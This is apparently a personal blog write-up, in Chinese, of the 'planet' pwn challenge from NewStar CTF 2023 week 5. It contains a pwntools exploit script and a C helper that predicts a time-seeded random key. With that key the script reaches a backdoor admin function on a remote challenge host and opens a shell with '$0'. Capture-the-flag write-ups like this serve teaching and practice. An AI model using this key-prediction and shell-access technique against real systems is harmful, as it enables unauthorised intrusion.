newstar2023 week5 - planet

RocketDev

文件分析

下载planet, NX on, PIE on, Canary on, RELRO partial
ghidra分析为64位程序

解题思路

有后门函数,虽然有随机数,但以时间为种子,直接模拟攻击; 命令限长,就用"$0"打开shell

官方wp有对链表的利用,不管了,能打通就是好exp

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
def payload(delay:int):
probe = process(['seedprobe2', str(delay)])
key = probe.recvline(False)
print(f'key to shell is: {key.decode()}')
probe.close()

sh = remote('node4.buuoj.cn', 25321)
sh.sendlineafter(b':', b'secret_passwd_anti_bad_guys')
sh.sendlineafter(b'>', b'Admin') # enter Admin func
sh.sendlineafter(b'>', key) # send calced key
sh.interactive()
#$0
#cat flag

payload(5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// seedprobe2.c
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#define STRLEN 31

int main(int argc, char **argv) {
if (argc == 1) {
puts("no time input!");
return 0;
}
int delay = -1;
delay = atoi(argv[1]);
if (delay == -1) {
puts("invalid time input");
return 0;
}
time_t init = time(NULL) + delay;
srand(init);
for (int i = 0; i < 55; i++)
rand();
char ret[STRLEN];
for (int i = 0; i < STRLEN - 1; i++)
ret[i] = "abcdefghijklmnopqrstuvwxyz"[rand() % 26];
ret[STRLEN - 1] = '\0';
puts(ret);
return 0;
}

第一次一血!

Done.

  • 标题: newstar2023 week5 - planet
  • 作者: RocketDev
  • 创建于 : 2023-10-24 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/10/24/W5_planet/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
newstar2023 week5 - planet